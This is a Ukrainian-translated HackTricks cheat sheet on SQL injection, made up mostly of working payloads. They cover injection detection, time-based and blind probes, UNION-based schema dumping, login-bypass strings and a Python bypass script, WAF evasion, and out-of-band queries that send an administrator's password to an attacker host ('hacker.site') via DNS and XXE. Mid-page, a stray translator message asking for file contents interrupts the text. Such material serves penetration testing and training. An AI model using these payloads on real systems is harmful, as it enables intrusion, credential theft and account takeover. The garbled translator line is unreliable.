SQL Injection
Reading time: 21 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке SQL injection?
An SQL injection — це вразливість, яка дозволяє зловмисникам втручатися в запити до бази даних застосунку. Ця вразливість може дозволити зловмисникам переглядати, змінювати або видаляти дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких має доступ застосунок. Такі дії можуть призвести до постійних змін у функціональності або вмісті застосунку, або навіть до компрометації сервера чи denial of service.
Виявлення точки входу
Коли сайт здається вразливим до SQL injection (SQLi) через незвичні відповіді сервера на введення, пов'язані з SQLi, перший крок — зрозуміти, як впровадити дані в запит, не порушивши його. Для цього потрібно визначити спосіб вийти з поточного контексту ефективно. Ось кілька корисних прикладів:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Тоді вам потрібно знати, як виправити запит, щоб не було помилок. Щоб виправити запит, ви можете ввести дані так, щоб попередній запит прийняв нові дані, або ви можете просто ввести свої дані та додати символ коментаря в кінці.
Зверніть увагу, що якщо ви бачите повідомлення про помилки або можете помітити відмінності, коли запит працює і коли ні, ця фаза буде легшою.
Коментарі
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Підтвердження логічними операціями
Надійний метод підтвердження вразливості SQL injection полягає у виконанні логічної операції та спостереженні очікуваних результатів. Наприклад, GET parameter такий як ?username=Peter
, який повертає ідентичний вміст при зміні на ?username=Peter' or '1'='1
, свідчить про вразливість SQL injection.
Аналогічно, застосування математичних операцій також є ефективною технікою підтвердження. Наприклад, якщо доступ до ?id=1
і ?id=2-1
дає той самий результат, це вказує на SQL injection.
Приклади, що демонструють підтвердження логічними операціями:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Цей список слів був створений, щоб спробувати підтвердити SQLinjections запропонованим способом:
Справжній SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Підтвердження за часом
У деяких випадках ви не помітите жодних змін на сторінці, яку тестуєте. Тому хорошим способом discover blind SQL injections є змусити DB виконати дії, які матимуть вплив на час завантаження сторінки.
Тому ми збираємося concat у SQL-запиті операцію, яка займе багато часу на виконання:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
У деяких випадках sleep functions won't be allowed. Тоді, замість використання цих функцій ви можете змусити запит perform complex operations, які триватимуть кілька секунд. Examples of these techniques are going to be commented separately on each technology (if any).
Ідентифікація Back-end
Найкращий спосіб ідентифікувати back-end — спробувати виконати функції різних back-end'ів. Ви можете використовувати sleep functions попереднього розділу або ці (таблиця з payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Також, якщо ви маєте доступ до виводу запиту, ви можете змусити його вивести версію бази даних.
tip
У продовженні ми обговоримо різні методи експлуатації різних типів SQL Injection. Ми використовуватимемо MySQL як приклад.
Identifying with PortSwigger
SQL injection cheat sheet | Web Security Academy
Exploiting Union Based
Detecting number of columns
Якщо ви можете бачити вивід запиту, це найкращий спосіб його експлуатації.
Перш за все, нам потрібно з'ясувати кількість стовпців, які повертає початковий запит. Це тому, що обидва запити повинні повертати однакову кількість стовпців.
Зазвичай для цього використовуються два методи:
Order/Group by
Щоб визначити кількість стовпців у запиті, поступово збільшуйте число, що використовується в клаузах ORDER BY або GROUP BY, поки не отримаєте помилкову відповідь. Незважаючи на різні функції GROUP BY та ORDER BY в SQL, обидві можуть використовуватися ідентично для встановлення кількості стовпців у запиті.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Підставляйте дедалі більше null значень, поки запит не стане коректним:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Ви повинні використовувати значення null
, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, а null
є допустимим у будь-якому випадку.
Отримання імен баз даних, імен таблиць та імен стовпців
У наступних прикладах ми отримаємо назви всіх баз даних, ім'я таблиці певної бази даних та імена стовпців цієї таблиці:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Існує різний спосіб виявлення цих даних для кожної бази даних, але методологія завжди одна й та сама.
Exploiting Hidden Union Based
Коли результат запиту видно, але union-based injection здається недосяжним, це вказує на наявність hidden union-based injection. Така ситуація часто призводить до blind injection. Щоб перетворити blind injection на union-based, потрібно визначити виконуваний запит на стороні сервера.
Цього можна досягти, використовуючи техніки blind injection разом зі стандартними таблицями, специфічними для цільової системи управління базами даних (DBMS). Для розуміння цих стандартних таблиць рекомендовано звернутися до документації цільової DBMS.
Після того, як запит витягнуто, необхідно налаштувати ваш payload так, щоб безпечно закрити оригінальний запит. Після цього до payload додається union query, що дозволяє скористатися новоотриманою union-based injection.
Для детальнішої інформації зверніться до повної статті за адресою Healing Blind Injections.
Exploiting Error based
Якщо з якоїсь причини ви не можете побачити вивід запиту, але можете побачити повідомлення про помилки, ви можете використати ці повідомлення, щоб ex-filtrate дані з бази даних.\
Дотримуючись схожого порядку дій, як у Union Based exploitation, ви зможете dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Експлуатація Blind SQLi
У цьому випадку ви не бачите результатів запиту або помилок, але можете визначити, коли запит повертає відповідь true або false, оскільки на сторінці відображається різний вміст.
У цьому випадку можна зловживати цією поведінкою, щоб dump базу даних char за char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Це той самий випадок, що й раніше, але замість того, щоб розрізняти відповідь true/false від запиту, ви можете відрізняти, чи сталася error в SQL query чи ні (можливо через crash HTTP server). Тому в цьому випадку ви можете викликати SQLerror щоразу, коли правильно вгадуєте char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
У цьому випадку немає жодного способу розрізнити відповідь запиту на основі контексту сторінки. Але можна змусити сторінку завантажуватися довше, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше, щоб confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Ви можете використовувати stacked queries, щоб виконати кілька запитів підряд. Зверніть увагу, що хоча наступні запити виконуються, результати не повертаються в додаток. Отже ця техніка корисна насамперед для blind vulnerabilities, де ви можете використати другий запит, щоб викликати DNS lookup, conditional error або time delay.
Oracle не підтримує stacked queries. MySQL, Microsoft та PostgreSQL підтримують їх: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Якщо no-other метод експлуатації не спрацював, ви можете спробувати змусити database ex-filtrate інформацію на external host, контрольований вами. Наприклад, через DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Експфільтрація даних поза каналом зв'язку через XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
Перевірте SQLMap Cheatsheet, щоб експлуатувати вразливість SQLi за допомогою sqlmap.
Tech specific info
Ми вже обговорювали всі способи експлуатації вразливості SQL Injection. Знайдіть ще декілька трюків, залежних від технології бази даних, у цій книзі:
Або ви знайдете безліч трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL у https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Список для спроб обходу login-функціональності:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Цей запит демонструє вразливість, коли MD5 використовується з true для raw output у перевірках автентифікації, через що система стає вразливою до SQL injection. Зловмисники можуть скористатися цим, підбираючи ввідні дані, які при хешуванні утворюють несподівані частини SQL-команд, що призводить до несанкціонованого доступу.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Обхід автентифікації через інжекцію хешу
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Рекомендований список:
Ви повинні використовувати як username кожен рядок списку і як password завжди: Pass1234.
(Ці payloads також включені в великий список, згаданий на початку цього розділу)
GBK Authentication Bypass
Якщо ' is being escaped, ви можете використати %A8%27, і коли ' gets escaped, буде створено: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python-скрипт:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Оператор INSERT
Змінити пароль існуючого об'єкта/користувача
Для цього слід спробувати створити новий об'єкт з ім'ям "master object" (ймовірно admin у випадку користувачів), змінивши щось:
- Створити користувача з ім'ям: AdMIn (великі та малі літери)
- Створити користувача з ім'ям: admin=
- SQL Truncation Attack (коли існує певне обмеження довжини в імені користувача або email) --> Створити користувача з ім'ям: admin [a lot of spaces] a
SQL Truncation Attack
Якщо база даних уразлива і максимальна кількість символів для імені користувача, наприклад, становить 30, і ви хочете видавати себе за користувача admin, спробуйте створити ім'я користувача: "admin [30 spaces] a" і будь-який пароль.
База даних буде перевіряти, чи введене ім'я користувача існує в базі. Якщо ні, вона обріже ім'я користувача до максимально дозволеної кількості символів (в цьому випадку до: "admin [25 spaces]"), а потім автоматично видалить усі пробіли в кінці, оновивши в базі даних користувача "admin" з новим паролем (може з'явитися якась помилка, але це не означає, що атака не спрацювала).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Додайте стільки ','',''
, скільки вважаєте за потрібне, щоб вийти з VALUES-виразу. Якщо затримка виконується, це SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Клауза ON DUPLICATE KEY UPDATE
в MySQL використовується, щоб вказати дії, які має виконати база даних, коли робиться спроба вставити рядок, що призведе до дублювання значення в UNIQUE index або PRIMARY KEY. Наведений нижче приклад демонструє, як цю можливість можна використати для зміни пароля облікового запису адміністратора:
Example Payload Injection:
injection payload може бути сформовано наступним чином, де намагаються вставити два рядки в таблицю users
. Перший рядок — приманка, а другий націлений на існуючу електронну адресу адміністратора з метою оновлення пароля:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Ось як це працює:
- Запит намагається вставити два рядки: один для
generic_user@example.com
і ще один дляadmin_generic@example.com
. - Якщо рядок для
admin_generic@example.com
вже існує, спрацьовує клаузулаON DUPLICATE KEY UPDATE
, наказуючи MySQL оновити полеpassword
існуючого рядка на "bcrypt_hash_of_newpassword". - Унаслідок цього можна буде спробувати виконати аутентифікацію з використанням
admin_generic@example.com
та пароля, що відповідає bcrypt-хешу ("bcrypt_hash_of_newpassword" означає bcrypt-хеш нового пароля і має бути замінений на фактичний хеш бажаного пароля).
Отримання інформації
Створення 2 облікових записів одночасно
При спробі створити нового користувача потрібні username, password та email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Використання десяткових або шістнадцяткових
За цією технікою ви можете витягти інформацію, створивши лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
Використовуючи hex2dec і substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
I don't have the file contents. Please paste the contents of src/pentesting-web/sql-injection/README.md here (or provide the text). I will translate it to Ukrainian while preserving all markdown, tags, links, paths and code.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Використовуючи hex та replace (та substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection — це ситуація, коли ін'єктований запит не є тим, який повертає вивід, але вивід ін'єктованого запиту передається в запит, який повертає вивід. (From Paper)
Приклад:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass, що використовує альтернативи для whitespace
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass за допомогою коментарів
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass із використанням дужок
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass з використанням OFFSET, FROM та JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Загальні обхідні методи
Чорний список за ключовими словами - обхід із використанням верхнього/нижнього регістру
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Чорний список ключових слів (без врахування регістру) — обхід за допомогою еквівалентного оператора
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Наукове позначення WAF bypass
Детальніше про цей трюк можна знайти в gosecure blog.
По суті, ви можете використовувати наукове позначення несподіваними способами, щоб обійти WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Bypass Column Names Restriction
По‑перше, зауважте, що якщо оригінальний запит і таблиця, з якої ви хочете витягти flag, мають однакову кількість стовпців, ви можете просто зробити: 0 UNION SELECT * FROM flag
Можна отримати доступ до третього стовпця таблиці без використання його імені за допомогою запиту на кшталт: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, тож в sqlinjection це виглядало б так:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Або використовуючи comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Цей трюк взято з https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
Якщо введення користувача підставляється в SELECT list або в ідентифікатори таблиць/стовпців, prepared statements не допоможуть, оскільки bind parameters захищають лише значення, а не ідентифікатори. Поширений вразливий шаблон є:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Ідея exploitation: inject subquery у field position для exfiltrate arbitrary data:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Примітки:
- Це працює навіть коли WHERE клауза використовує bound parameter, оскільки список ідентифікаторів все ще string-concatenated.
- Деякі стеки додатково дозволяють контролювати назву таблиці (tablename injection), що дає змогу виконувати cross-table reads.
- Output sinks можуть відображати вибране значення в HTML/JSON, що дозволяє XSS або token exfiltration безпосередньо з відповіді.
Заходи пом'якшення:
- Ніколи не конкатенуйте ідентифікатори з введення користувача. Відобразьте дозволені імена колонок у фіксований allow-list і правильно quote identifiers.
- Якщо потрібен динамічний доступ до таблиць, обмежте його скінченним набором і вирішуйте server-side через безпечне відображення.
Інструменти для підбору обходу WAF
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
Інші керівництва
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Список виявлення Brute-Force
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.